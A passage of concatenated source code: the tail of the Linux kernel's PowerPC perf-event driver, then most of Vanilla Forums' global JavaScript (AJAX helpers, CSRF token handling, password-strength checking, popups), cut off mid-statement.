cpuhw->limited_counter[i]; cpuhw->limited_hwidx[i-1] = cpuhw->limited_hwidx[i]; } --cpuhw->n_limited; } if (cpuhw->n_events == 0) { /* disable exceptions if no events are running */ cpuhw->mmcr[0] &= ~(MMCR0_PMXE | MMCR0_FCECE); } perf_pmu_enable(event->pmu); local_irq_restore(flags); } /* * POWER-PMU does not support disabling individual counters, hence * program their cycle counter to their max value and ignore the interrupts. */ static void power_pmu_start(struct perf_event *event, int ef_flags) { unsigned long flags; s64 left; unsigned long val; if (!event->hw.idx || !event->hw.sample_period) return; if (!(event->hw.state & PERF_HES_STOPPED)) return; if (ef_flags & PERF_EF_RELOAD) WARN_ON_ONCE(!(event->hw.state & PERF_HES_UPTODATE)); local_irq_save(flags); perf_pmu_disable(event->pmu); event->hw.state = 0; left = local64_read(&event->hw.period_left); val = 0; if (left < 0x80000000L) val = 0x80000000L - left; write_pmc(event->hw.idx, val); perf_event_update_userpage(event); perf_pmu_enable(event->pmu); local_irq_restore(flags); } static void power_pmu_stop(struct perf_event *event, int ef_flags) { unsigned long flags; if (!event->hw.idx || !event->hw.sample_period) return; if (event->hw.state & PERF_HES_STOPPED) return; local_irq_save(flags); perf_pmu_disable(event->pmu); power_pmu_read(event); event->hw.state |= PERF_HES_STOPPED | PERF_HES_UPTODATE; write_pmc(event->hw.idx, 0); perf_event_update_userpage(event); perf_pmu_enable(event->pmu); local_irq_restore(flags); } /* * Start group events scheduling transaction * Set the flag to make pmu::enable() not perform the * schedulability test, it will be performed at commit time */ void power_pmu_start_txn(struct pmu *pmu) { struct cpu_hw_events *cpuhw = &__get_cpu_var(cpu_hw_events); perf_pmu_disable(pmu); cpuhw->group_flag |= PERF_EVENT_TXN; cpuhw->n_txn_start = cpuhw->n_events; } /* * Stop group events scheduling transaction * Clear the flag and pmu::enable() will perform the * schedulability test. */ void power_pmu_cancel_txn(struct pmu *pmu) { struct cpu_hw_events *cpuhw = &__get_cpu_var(cpu_hw_events); cpuhw->group_flag &= ~PERF_EVENT_TXN; perf_pmu_enable(pmu); } /* * Commit group events scheduling transaction * Perform the group schedulability test as a whole * Return 0 if success */ int power_pmu_commit_txn(struct pmu *pmu) { struct cpu_hw_events *cpuhw; long i, n; if (!ppmu) return -EAGAIN; cpuhw = &__get_cpu_var(cpu_hw_events); n = cpuhw->n_events; if (check_excludes(cpuhw->event, cpuhw->flags, 0, n)) return -EAGAIN; i = power_check_constraints(cpuhw, cpuhw->events, cpuhw->flags, n); if (i < 0) return -EAGAIN; for (i = cpuhw->n_txn_start; i < n; ++i) cpuhw->event[i]->hw.config = cpuhw->events[i]; cpuhw->group_flag &= ~PERF_EVENT_TXN; perf_pmu_enable(pmu); return 0; } /* * Return 1 if we might be able to put event on a limited PMC, * or 0 if not. * A event can only go on a limited PMC if it counts something * that a limited PMC can count, doesn't require interrupts, and * doesn't exclude any processor mode. */ static int can_go_on_limited_pmc(struct perf_event *event, u64 ev, unsigned int flags) { int n; u64 alt[MAX_EVENT_ALTERNATIVES]; if (event->attr.exclude_user || event->attr.exclude_kernel || event->attr.exclude_hv || event->attr.sample_period) return 0; if (ppmu->limited_pmc_event(ev)) return 1; /* * The requested event_id isn't on a limited PMC already; * see if any alternative code goes on a limited PMC. */ if (!ppmu->get_alternatives) return 0; flags |= PPMU_LIMITED_PMC_OK | PPMU_LIMITED_PMC_REQD; n = ppmu->get_alternatives(ev, flags, alt); return n > 0; } /* * Find an alternative event_id that goes on a normal PMC, if possible, * and return the event_id code, or 0 if there is no such alternative. * (Note: event_id code 0 is "don't count" on all machines.) */ static u64 normal_pmc_alternative(u64 ev, unsigned long flags) { u64 alt[MAX_EVENT_ALTERNATIVES]; int n; flags &= ~(PPMU_LIMITED_PMC_OK | PPMU_LIMITED_PMC_REQD); n = ppmu->get_alternatives(ev, flags, alt); if (!n) return 0; return alt[0]; } /* Number of perf_events counting hardware events */ static atomic_t num_events; /* Used to avoid races in calling reserve/release_pmc_hardware */ static DEFINE_MUTEX(pmc_reserve_mutex); /* * Release the PMU if this is the last perf_event. */ static void hw_perf_event_destroy(struct perf_event *event) { if (!atomic_add_unless(&num_events, -1, 1)) { mutex_lock(&pmc_reserve_mutex); if (atomic_dec_return(&num_events) == 0) release_pmc_hardware(); mutex_unlock(&pmc_reserve_mutex); } } /* * Translate a generic cache event_id config to a raw event_id code. */ static int hw_perf_cache_event(u64 config, u64 *eventp) { unsigned long type, op, result; int ev; if (!ppmu->cache_events) return -EINVAL; /* unpack config */ type = config & 0xff; op = (config >> 8) & 0xff; result = (config >> 16) & 0xff; if (type >= PERF_COUNT_HW_CACHE_MAX || op >= PERF_COUNT_HW_CACHE_OP_MAX || result >= PERF_COUNT_HW_CACHE_RESULT_MAX) return -EINVAL; ev = (*ppmu->cache_events)[type][op][result]; if (ev == 0) return -EOPNOTSUPP; if (ev == -1) return -EINVAL; *eventp = ev; return 0; } static int power_pmu_event_init(struct perf_event *event) { u64 ev; unsigned long flags; struct perf_event *ctrs[MAX_HWEVENTS]; u64 events[MAX_HWEVENTS]; unsigned int cflags[MAX_HWEVENTS]; int n; int err; struct cpu_hw_events *cpuhw; if (!ppmu) return -ENOENT; /* does not support taken branch sampling */ if (has_branch_stack(event)) return -EOPNOTSUPP; switch (event->attr.type) { case PERF_TYPE_HARDWARE: ev = event->attr.config; if (ev >= ppmu->n_generic || ppmu->generic_events[ev] == 0) return -EOPNOTSUPP; ev = ppmu->generic_events[ev]; break; case PERF_TYPE_HW_CACHE: err = hw_perf_cache_event(event->attr.config, &ev); if (err) return err; break; case PERF_TYPE_RAW: ev = event->attr.config; break; default: return -ENOENT; } event->hw.config_base = ev; event->hw.idx = 0; /* * If we are not running on a hypervisor, force the * exclude_hv bit to 0 so that we don't care what * the user set it to. */ if (!firmware_has_feature(FW_FEATURE_LPAR)) event->attr.exclude_hv = 0; /* * If this is a per-task event, then we can use * PM_RUN_* events interchangeably with their non RUN_* * equivalents, e.g. PM_RUN_CYC instead of PM_CYC. * XXX we should check if the task is an idle task. */ flags = 0; if (event->attach_state & PERF_ATTACH_TASK) flags |= PPMU_ONLY_COUNT_RUN; /* * If this machine has limited events, check whether this * event_id could go on a limited event. */ if (ppmu->flags & PPMU_LIMITED_PMC5_6) { if (can_go_on_limited_pmc(event, ev, flags)) { flags |= PPMU_LIMITED_PMC_OK; } else if (ppmu->limited_pmc_event(ev)) { /* * The requested event_id is on a limited PMC, * but we can't use a limited PMC; see if any * alternative goes on a normal PMC. */ ev = normal_pmc_alternative(ev, flags); if (!ev) return -EINVAL; } } /* * If this is in a group, check if it can go on with all the * other hardware events in the group. We assume the event * hasn't been linked into its leader's sibling list at this point. */ n = 0; if (event->group_leader != event) { n = collect_events(event->group_leader, ppmu->n_counter - 1, ctrs, events, cflags); if (n < 0) return -EINVAL; } events[n] = ev; ctrs[n] = event; cflags[n] = flags; if (check_excludes(ctrs, cflags, n, 1)) return -EINVAL; cpuhw = &get_cpu_var(cpu_hw_events); err = power_check_constraints(cpuhw, events, cflags, n + 1); put_cpu_var(cpu_hw_events); if (err) return -EINVAL; event->hw.config = events[n]; event->hw.event_base = cflags[n]; event->hw.last_period = event->hw.sample_period; local64_set(&event->hw.period_left, event->hw.last_period); /* * See if we need to reserve the PMU. * If no events are currently in use, then we have to take a * mutex to ensure that we don't race with another task doing * reserve_pmc_hardware or release_pmc_hardware. */ err = 0; if (!atomic_inc_not_zero(&num_events)) { mutex_lock(&pmc_reserve_mutex); if (atomic_read(&num_events) == 0 && reserve_pmc_hardware(perf_event_interrupt)) err = -EBUSY; else atomic_inc(&num_events); mutex_unlock(&pmc_reserve_mutex); } event->destroy = hw_perf_event_destroy; return err; } static int power_pmu_event_idx(struct perf_event *event) { return event->hw.idx; } struct pmu power_pmu = { .pmu_enable = power_pmu_enable, .pmu_disable = power_pmu_disable, .event_init = power_pmu_event_init, .add = power_pmu_add, .del = power_pmu_del, .start = power_pmu_start, .stop = power_pmu_stop, .read = power_pmu_read, .start_txn = power_pmu_start_txn, .cancel_txn = power_pmu_cancel_txn, .commit_txn = power_pmu_commit_txn, .event_idx = power_pmu_event_idx, }; /* * A counter has overflowed; update its count and record * things if requested. Note that interrupts are hard-disabled * here so there is no possibility of being interrupted. */ static void record_and_restart(struct perf_event *event, unsigned long val, struct pt_regs *regs) { u64 period = event->hw.sample_period; s64 prev, delta, left; int record = 0; if (event->hw.state & PERF_HES_STOPPED) { write_pmc(event->hw.idx, 0); return; } /* we don't have to worry about interrupts here */ prev = local64_read(&event->hw.prev_count); delta = check_and_compute_delta(prev, val); local64_add(delta, &event->count); /* * See if the total period for this event has expired, * and update for the next period. */ val = 0; left = local64_read(&event->hw.period_left) - delta; if (period) { if (left <= 0) { left += period; if (left <= 0) left = period; record = 1; event->hw.last_period = event->hw.sample_period; } if (left < 0x80000000LL) val = 0x80000000LL - left; } write_pmc(event->hw.idx, val); local64_set(&event->hw.prev_count, val); local64_set(&event->hw.period_left, left); perf_event_update_userpage(event); /* * Finally record data if requested. */ if (record) { struct perf_sample_data data; perf_sample_data_init(&data, ~0ULL, event->hw.last_period); if (event->attr.sample_type & PERF_SAMPLE_ADDR) perf_get_data_addr(regs, &data.addr); if (perf_event_overflow(event, &data, regs)) power_pmu_stop(event, 0); } } /* * Called from generic code to get the misc flags (i.e. processor mode) * for an event_id. */ unsigned long perf_misc_flags(struct pt_regs *regs) { u32 flags = perf_get_misc_flags(regs); if (flags) return flags; return user_mode(regs) ? PERF_RECORD_MISC_USER : PERF_RECORD_MISC_KERNEL; } /* * Called from generic code to get the instruction pointer * for an event_id. */ unsigned long perf_instruction_pointer(struct pt_regs *regs) { unsigned long mmcra = regs->dsisr; /* Not a PMU interrupt */ if (TRAP(regs) != 0xf00) return regs->nip; /* Processor doesn't support sampling non marked events */ if ((ppmu->flags & PPMU_NO_CONT_SAMPLING) && !(mmcra & MMCRA_SAMPLE_ENABLE)) return regs->nip; return mfspr(SPRN_SIAR) + perf_ip_adjust(regs); } static bool pmc_overflow(unsigned long val) { if ((int)val < 0) return true; /* * Events on POWER7 can roll back if a speculative event doesn't * eventually complete. Unfortunately in some rare cases they will * raise a performance monitor exception. We need to catch this to * ensure we reset the PMC. In all cases the PMC will be 256 or less * cycles from overflow. * * We only do this if the first pass fails to find any overflowing * PMCs because a user might set a period of less than 256 and we * don't want to mistakenly reset them. */ if (__is_processor(PV_POWER7) && ((0x80000000 - val) <= 256)) return true; return false; } /* * Performance monitor interrupt stuff */ static void perf_event_interrupt(struct pt_regs *regs) { int i; struct cpu_hw_events *cpuhw = &__get_cpu_var(cpu_hw_events); struct perf_event *event; unsigned long val; int found = 0; int nmi; if (cpuhw->n_limited) freeze_limited_counters(cpuhw, mfspr(SPRN_PMC5), mfspr(SPRN_PMC6)); perf_read_regs(regs); nmi = perf_intr_is_nmi(regs); if (nmi) nmi_enter(); else irq_enter(); for (i = 0; i < cpuhw->n_events; ++i) { event = cpuhw->event[i]; if (!event->hw.idx || is_limited_pmc(event->hw.idx)) continue; val = read_pmc(event->hw.idx); if ((int)val < 0) { /* event has overflowed */ found = 1; record_and_restart(event, val, regs); } } /* * In case we didn't find and reset the event that caused * the interrupt, scan all events and reset any that are * negative, to avoid getting continual interrupts. * Any that we processed in the previous loop will not be negative. */ if (!found) { for (i = 0; i < ppmu->n_counter; ++i) { if (is_limited_pmc(i + 1)) continue; val = read_pmc(i + 1); if (pmc_overflow(val)) write_pmc(i + 1, 0); } } /* * Reset MMCR0 to its normal value. This will set PMXE and * clear FC (freeze counters) and PMAO (perf mon alert occurred) * and thus allow interrupts to occur again. * XXX might want to use MSR.PM to keep the events frozen until * we get back out of this interrupt. */ write_mmcr0(cpuhw, cpuhw->mmcr[0]); if (nmi) nmi_exit(); else irq_exit(); } static void power_pmu_setup(int cpu) { struct cpu_hw_events *cpuhw = &per_cpu(cpu_hw_events, cpu); if (!ppmu) return; memset(cpuhw, 0, sizeof(*cpuhw)); cpuhw->mmcr[0] = MMCR0_FC; } static int power_pmu_notifier(struct notifier_block *self, unsigned long action, void *hcpu) { unsigned int cpu = (long)hcpu; switch (action & ~CPU_TASKS_FROZEN) { case CPU_UP_PREPARE: power_pmu_setup(cpu); break; default: break; } return NOTIFY_OK; } int register_power_pmu(struct power_pmu *pmu) { if (ppmu) return -EBUSY; /* something's already registered */ ppmu = pmu; pr_info("%s performance monitor hardware support registered\n", pmu->name); #ifdef MSR_HV /* * Use FCHV to ignore kernel events if MSR.HV is set. */ if (mfmsr() & MSR_HV) freeze_events_kernel = MMCR0_FCHV; #endif /* CONFIG_PPC64 */ perf_pmu_register(&power_pmu, "cpu", PERF_TYPE_RAW); perf_cpu_notifier(power_pmu_notifier); return 0; }
robcore/machinex-Note3
arch/powerpc/perf/core-book3s.c
C
gpl-2.0
36,935
// This file contains javascript that is global to the entire Garden application // Global vanilla library function. (function(window, $) { var Vanilla = function() { }; Vanilla.fn = Vanilla.prototype; if (!window.console) window.console = { log: function() { } }; Vanilla.scrollTo = function(q) { var top = $(q).offset().top; window.scrollTo(0, top); return false; }; // Add a stub for embedding. Vanilla.parent = function() { }; Vanilla.parent.callRemote = function(func, args, success, failure) { console.log("callRemote stub: " + func, args); }; window.gdn = window.gdn || {}; window.Vanilla = Vanilla; gdn.getMeta = function(key, defaultValue) { if (gdn.meta[key] === undefined) { return defaultValue; } else { return gdn.meta[key]; } }; gdn.setMeta = function(key, value) { gdn.meta[key] = value; }; var keyString = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; // See http://ecmanaut.blogspot.de/2006/07/encoding-decoding-utf8-in-javascript.html var uTF8Encode = function(string) { return decodeURI(encodeURIComponent(string)); }; // See http://ecmanaut.blogspot.de/2006/07/encoding-decoding-utf8-in-javascript.html var uTF8Decode = function(string) { return decodeURIComponent(escape(string)); }; $.extend({ // private property keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", base64Encode: function(input) { var output = ""; var chr1, chr2, chr3, enc1, enc2, enc3, enc4; var i = 0; input = uTF8Encode(input); while (i < input.length) { chr1 = input.charCodeAt(i++); chr2 = input.charCodeAt(i++); chr3 = input.charCodeAt(i++); enc1 = chr1 >> 2; enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); enc4 = chr3 & 63; if (isNaN(chr2)) { enc3 = enc4 = 64; } else if (isNaN(chr3)) { enc4 = 64; } output = output + keyString.charAt(enc1) + keyString.charAt(enc2) + keyString.charAt(enc3) + keyString.charAt(enc4); } return output; }, base64Decode: function(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); while (i < input.length) { enc1 = keyString.indexOf(input.charAt(i++)); enc2 = keyString.indexOf(input.charAt(i++)); enc3 = keyString.indexOf(input.charAt(i++)); enc4 = keyString.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } output = uTF8Decode(output); return output; } }); /** * Takes a jQuery function that updates the DOM and the HTML to add. Converts the html to a jQuery object * and then adds it to the DOM. Triggers 'contentLoad' to allow javascript manipulation of the new DOM elements. * * @param func The jQuery function name. * @param html The html to add. */ var funcTrigger = function(func, html) { this.each(function() { var $elem = $($.parseHTML(html + '')); // Typecast html to a string and create a DOM node $(this)[func]($elem); $elem.trigger('contentLoad'); }); return this; }; $.fn.extend({ appendTrigger: function(html) { return funcTrigger.call(this, 'append', html); }, beforeTrigger: function(html) { return funcTrigger.call(this, 'before', html); }, afterTrigger: function(html) { return funcTrigger.call(this, 'after', html); }, prependTrigger: function(html) { return funcTrigger.call(this, 'prepend', html); }, htmlTrigger: function(html) { funcTrigger.call(this, 'html', html); }, replaceWithTrigger: function(html) { return funcTrigger.call(this, 'replaceWith', html); } }); $(document).ajaxComplete(function(event, jqXHR, ajaxOptions) { var csrfToken = jqXHR.getResponseHeader("X-CSRF-Token"); if (csrfToken) { gdn.setMeta("TransientKey", csrfToken); $("input[name=TransientKey]").val(csrfToken); } }); // Hook into form submissions. Replace element body with server response when we're in a .js-form. $(document).on("contentLoad", function (e) { $("form", e.target).submit(function (e) { var $form = $(this); // Traverse up the DOM, starting from the form that triggered the event, looking for the first .js-form. var $parent = $form.closest(".js-form"); // Bail if we aren't in a .js-form. if ($parent.length === 0) { return; } // Hijack this submission. e.preventDefault(); // An object containing extra data that should be submitted along with the form. var data = { DeliveryType: "VIEW" }; var submitButton = $form.find("input[type=submit]:focus").get(0); if (submitButton) { data[submitButton.name] = submitButton.name; } // Send the request, expect HTML and hope for the best. $form.ajaxSubmit({ data: data, dataType: "html", success: function (data, textStatus, jqXHR) { $parent.html(data).trigger('contentLoad'); } }); }); }); function accessibleButtonsInit() { $(document).delegate("[role=button]", 'keydown', function(event) { var $button = $(this); var ENTER_KEY = 13; var SPACE_KEY = 32; var isActiveElement = document.activeElement === $button[0]; var isSpaceOrEnter = event.keyCode === ENTER_KEY || event.keyCode === SPACE_KEY; if (isActiveElement && isSpaceOrEnter) { event.preventDefault(); $button.click(); } }); } $(document).on("contentLoad", function(e) { // Setup AJAX filtering for flat category module. // Find each flat category module container, if any. $(".BoxFlatCategory", e.target).each(function(index, value){ // Setup the constants we'll need to perform the lookup for this module instance. var container = value; var categoryID = $("input[name=CategoryID]", container).val(); var limit = parseInt($("input[name=Limit]", container).val()); // If we don't even have a category, don't bother setting up filtering. if (typeof categoryID === "undefined") { return; } // limit was parsed as an int when originally defined. If it isn't a valid value now, default to 10. if (isNaN(limit) || limit < 1) { limit = 10; } // Anytime someone types something into the search box in this instance's container... $(container).on("keyup", ".SearchForm .InputBox", function(filterEvent) { var url = gdn.url("module/flatcategorymodule/vanilla"); // ...perform an AJAX request, replacing the current category data with the result's data. jQuery.get( gdn.url("module/flatcategorymodule/vanilla"), { categoryID: categoryID, filter: filterEvent.target.value, limit: limit }, function(data, textStatus, jqXHR) { $(".FlatCategoryResult", container).replaceWith($(".FlatCategoryResult", data)); } ) }); }); // A vanilla JS event wrapper for the contentLoad event so that the new framework can handle it. $(document).on("contentLoad", function(e) { // Don't fire on initial document ready. if (e.target === document) { return; } var event = document.createEvent('CustomEvent'); event.initCustomEvent('X-DOMContentReady', true, false, {}); e.target.dispatchEvent(event); }); // Set up accessible flyouts $('.ToggleFlyout, .editor-dropdown, .ButtonGroup').accessibleFlyoutsInit(); accessibleButtonsInit(); }); })(window, jQuery); // Stuff to fire on document.ready(). jQuery(document).ready(function($) { /** * @deprecated since Vanilla 2.2 */ $.postParseJson = function(json) { return json; }; gdn.focused = true; gdn.Libraries = {}; $(window).blur(function() { gdn.focused = false; }); $(window).focus(function() { gdn.focused = true; }); // Grab a definition from object in the page gdn.definition = function(definition, defaultVal, set) { if (defaultVal === undefined) defaultVal = definition; if (!(definition in gdn.meta)) { return defaultVal; } if (set) { gdn.meta[definition] = defaultVal; } return gdn.meta[definition]; }; gdn.disable = function(e, progressClass) { var href = $(e).attr('href'); if (href) { $.data(e, 'hrefBak', href); } $(e).addClass(progressClass ? progressClass : 'InProgress').removeAttr('href').attr('disabled', true); }; gdn.enable = function(e) { $(e).attr('disabled', false).removeClass('InProgress'); var href = $.data(e, 'hrefBak'); if (href) { $(e).attr('href', href); $.removeData(e, 'hrefBak'); } }; gdn.elementSupports = function(element, attribute) { var test = document.createElement(element); if (attribute in test) return true; else return false; }; gdn.querySep = function(url) { return url.indexOf('?') == -1 ? '?' : '&'; }; // password strength check gdn.password = function(password, username) { var translations = gdn.definition('PasswordTranslations', 'Too Short,Contains Username,Very Weak,Weak,Ok,Good,Strong').split(','); // calculate entropy var alphabet = 0; if (password.match(/[0-9]/)) alphabet += 10; if (password.match(/[a-z]/)) alphabet += 26; if (password.match(/[A-Z]/)) alphabet += 26; if (password.match(/[^a-zA-Z0-9]/)) alphabet += 31; var natLog = Math.log(Math.pow(alphabet, password.length)); var entropy = natLog / Math.LN2; var response = { pass: false, symbols: alphabet, entropy: entropy, score: 0 }; // reject on length var length = password.length; response.length = length; var requiredLength = gdn.definition('MinPassLength', 6); var requiredScore = gdn.definition('MinPassScore', 2); response.required = requiredLength; if (length < requiredLength) { response.reason = translations[0]; return response; } // password1 == username if (username) { if (password.toLowerCase().indexOf(username.toLowerCase()) >= 0) { response.reason = translations[1]; return response; } } if (entropy < 30) { response.score = 1; response.reason = translations[2]; // very weak } else if (entropy < 40) { response.score = 2; response.reason = translations[3]; // weak } else if (entropy < 55) { response.score = 3; response.reason = translations[4]; // ok } else if (entropy < 70) { response.score = 4; response.reason = translations[5]; // good } else { response.score = 5; response.reason = translations[6]; // strong } return response; }; // Go to notifications if clicking on a user's notification count $('li.UserNotifications a span').click(function() { document.location = gdn.url('/profile/notifications'); return false; }); /** * Add `rel='noopener'` to everything on the page. * * If you really need the linked page to have window.opener, set the `data-allow-opener='true'` on your link. */ $("a[target='_blank']") .filter(":not([rel*='noopener']):not([data-allow-opener='true'])") .each(function() { var $this = $(this); var rel = $this.attr("rel"); if (rel) { $this.attr("rel", rel + " noopener"); } else { $this.attr("rel", "noopener"); } }); // This turns any anchor with the "Popup" class into an in-page pop-up (the // view of the requested in-garden link will be displayed in a popup on the // current screen). if ($.fn.popup) { // Previously, jquery.popup used live() to attach events, even to elements // that do not yet exist. live() has been deprecated. Vanilla upgraded // jQuery to version 1.10.2, which removed a lot of code. Instead, event // delegation will need to be used, which means everywhere that Popup // is called, will need to have a very high up parent delegate to it. //$('a.Popup').popup(); //$('a.PopConfirm').popup({'confirm' : true, 'followConfirm' : true}); $('a.Popup:not(.dashboard a.Popup):not(.Section-Dashboard a.Popup)').popup(); $('a.PopConfirm').popup({'confirm': true, 'followConfirm': true}); } $(document).delegate(".PopupWindow:not(.Message .PopupWindow)", 'click', function() { var $this = $(this); if ($this.hasClass('NoMSIE') && /msie/.test(navigator.userAgent.toLowerCase())) { return; } var width = $this.attr('popupWidth'); width = width ? width : 960; var height = $this.attr('popupHeight'); height = height ? height : 600; var left = (screen.width - width) / 2; var top = (screen.height - height) / 2; var id = $this.attr('id'); var href = $this.attr('href'); if ($this.attr('popupHref')) href = $this.attr('popupHref'); else href += gdn.querySep(href) + 'display=popup'; var win = window.open(href, 'Window_' + id, "left=" + left + ",top=" + top + ",width=" + width + ",height=" + height + ",status=0,scrollbars=0"); if (win) win.focus(); return false; }); // This turns any anchor with the "Popdown" class into an in-page pop-up, but // it does not hijack forms in the popup. if ($.fn.popup) $('a.Popdown').popup({hijackForms: false}); // This turns SignInPopup anchors into in-page popups if ($.fn.popup) $('a.SignInPopup').popup({containerCssClass: 'SignInPopup'}); if ($.fn.popup) $(document).delegate('.PopupClose', 'click', function(event) { var Popup = $(event.target).parents('.Popup'); if (Popup.length) { var PopupID = Popup.prop('id'); $.popup.close({popupId: PopupID}); } }); // Make sure that message dismissalls are ajax'd $(document).delegate('a.Dismiss', 'click', function() { var anchor = this; var container = $(anchor).parent(); var transientKey = gdn.definition('TransientKey'); var data = 'DeliveryType=BOOL&TransientKey=' + transientKey; $.post($(anchor).attr('href'), data, function(response) { if (response == 'TRUE') $(container).fadeOut('fast', function() { $(this).remove(); }); }); return false; }); // This turns any form into a "post-in-place" form so it is ajaxed to save // without a refresh. The form must be within an element with the "AjaxForm" // class. if ($.fn.handleAjaxForm) $('.AjaxForm').handleAjaxForm(); // Handle ToggleMenu toggling and set up default state $('[class^="Toggle-"]').hide(); // hide all toggle containers $('.ToggleMenu a').click(function() { // Make all toggle buttons and toggle containers inactive $(this).parents('.ToggleMenu').find('li').removeClass('Active'); $('[class^="Toggle-"]').hide(); var item = $(this).parents('li'); // Identify the clicked container // The selector of the container that should be revealed. var containerSelector = '.Toggle-' + item.attr('class'); containerSelector = containerSelector.replace(/Handle-/gi, ''); // Reveal the container & make the button active item.addClass('Active'); // Make the clicked form button active $(containerSelector).show(); return false; }); $('.ToggleMenu .Active a').click(); // reveal the currently active item. // Show hoverhelp on hover $('.HoverHelp').hover( function() { $(this).find('.Help').show(); }, function() { $(this).find('.Help').hide(); } ); // If a page loads with a hidden redirect url, go there after a few moments. var redirectTo = gdn.getMeta('RedirectTo', ''); var checkPopup = gdn.getMeta('CheckPopup', false); if (redirectTo !== '') { if (checkPopup && window.opener) { window.opener.location = redirectTo; window.close(); } else { document.location = redirectTo; } } // Make tables sortable if the tableDnD plugin is present. if ($.tableDnD) $("table.Sortable").tableDnD({ onDrop: function(table, row) { var tableId = $($.tableDnD.currentTable).attr('id'); // Add in the transient key for postback authentication var transientKey = gdn.definition('TransientKey'); var data = $.tableDnD.serialize() + '&TableID=' + tableId + '&TransientKey=' + transientKey; var webRoot = gdn.definition('WebRoot', ''); $.post( gdn.url('/utility/sort.json'), data, function(response) { if (response.Result) { $('#' + tableId + ' tbody tr td').effect("highlight", {}, 1000); } } ); } }); // Make sure that the commentbox & aboutbox do not allow more than 1000 characters $.fn.setMaxChars = function(iMaxChars) { $(this).bind('keyup', function() { var txt = $(this).val(); if (txt.length > iMaxChars) $(this).val(txt.substr(0, iMaxChars)); }); }; // Generate a random string of specified length gdn.generateString = function(length) { if (length === undefined) length = 5; var chars = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789!@#$%*'; var string = ''; var pos = 0; for (var i = 0; i < length; i++) { pos = Math.floor(Math.random() * chars.length); string += chars.substring(pos, pos + 1); } return string; }; // Combine two paths and make sure that there is only a single directory concatenator gdn.combinePaths = function(path1, path2) { if (path1.substr(-1, 1) == '/') path1 = path1.substr(0, path1.length - 1); if (path2.substring(0, 1) == '/') path2 = path2.substring(1); return path1 + '/' + path2; }; gdn.processTargets = function(targets, $elem, $parent) { if (!targets || !targets.length) return; var tar = function(q) { switch (q) { case '!element': return $elem; case '!parent': return $parent; default: return q; } }, item, $target; for (var i = 0; i < targets.length; i++) { item = targets[i]; if (jQuery.isArray(item.Target)) { $target = $(tar(item.Target[0]), tar(item.Target[1])); } else { $target = $(tar(item.Target)); } switch (item.Type) { case 'AddClass': $target.addClass(item.Data); break; case 'Ajax': $.ajax({ type: "POST", url: item.Data }); break; case 'Append': $target.appendTrigger(item.Data); break; case 'Before': $target.beforeTrigger(item.Data); break; case 'After': $target.afterTrigger(item.Data); break; case 'Highlight': $target.effect("highlight", {}, "slow"); break; case 'Prepend': $target.prependTrigger(item.Data); break; case 'Redirect': window.location.replace(item.Data); break; case 'Refresh': window.location.reload(); break; case 'Remove': $target.remove(); break; case 'RemoveClass': $target.removeClass(item.Data); break; case 'ReplaceWith': $target.replaceWithTrigger(item.Data); break; case 'SlideUp': $target.slideUp('fast'); break; case 'SlideDown': $target.slideDown('fast'); break; case 'Text': $target.text(item.Data); break; case 'Trigger': $target.trigger(item.Data); break; case 'Html': $target.htmlTrigger(item.Data); break; case 'Callback': jQuery.proxy(window[item.Data], $target)(); break; } } }; gdn.requires = function(Library) { if (!(Library instanceof Array)) Library = [Library]; var Response = true; $(Library).each(function(i, Lib) { // First check if we already have this library var LibAvailable = gdn.available(Lib); if (!LibAvailable) Response = false; // Skip any libs that are ready or processing if (gdn.Libraries[Lib] === false || gdn.Libraries[Lib] === true) return; // As yet unseen. Try to load gdn.Libraries[Lib] = false; var Src = '/js/' + Lib + '.js'; var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = Src; head.appendChild(script); }); if (Response) gdn.loaded(null); return Response; }; gdn.loaded = function(Library) { if (Library) gdn.Libraries[Library] = true; $(document).trigger('libraryloaded', [Library]); }; gdn.available = function(Library) { if (!(Library instanceof Array)) Library = [Library]; for (var i = 0; i < Library.length; i++) { var Lib = Library[i]; if (gdn.Libraries[Lib] !== true) return false; } return true; }; gdn.url = function(path) { if (path.indexOf("//") >= 0) return path; // this is an absolute path. var urlFormat = gdn.definition("UrlFormat", "/{Path}"); if (path.substr(0, 1) == "/") path = path.substr(1); if (urlFormat.indexOf("?") >= 0) path = path.replace("?", "&"); return urlFormat.replace("{Path}", path); }; // Fill in placeholders. if (!gdn.elementSupports('input', 'placeholder')) { $('input:text,textarea').not('.NoIE').each(function() { var $this = $(this); var placeholder = $this.attr('placeholder'); if (!$this.val() && placeholder) { $this.val(placeholder); $this.blur(function() { if ($this.val() === '') $this.val(placeholder); }); $this.focus(function() { if ($this.val() == placeholder) $this.val(''); }); $this.closest('form').bind('submit', function() { if ($this.val() == placeholder) $this.val(''); }); } }); } // var searchText = gdn.definition('Search', 'Search'); // if (!$('div.Search input.InputBox').val()) // $('div.Search input.InputBox').val(searchText); // $('div.Search input.InputBox').blur(function() { // if (typeof $(this).val() == 'undefined' || $(this).val() == '') // $(this).val(searchText); // }); // $('div.Search input.InputBox').focus(function() { // if ($(this).val() == searchText) // $(this).val(''); // }); $.fn.popin = function(options) { var settings = $.extend({}, options); this.each(function(i, elem) { var url = $(elem).attr('rel'); var $elem = $(elem); $.ajax({ url: gdn.url(url), data: {DeliveryType: 'VIEW'}, success: function(data) { $elem.html($.parseHTML(data + '')).trigger('contentLoad'); }, complete: function() { $elem.removeClass('Progress TinyProgress InProgress'); if (settings.complete !== undefined) { settings.complete($elem); } } }); }); }; $('.Popin, .js-popin').popin(); // Make poplist items with a rel attribute clickable. $(document).on('click', '.PopList .Item[rel]', function() { window.location.href = $(this).attr('rel'); }); var hijackClick = function(e) { var $elem = $(this); var $parent = $(this).closest('.Item'); var $toggleFlyout = 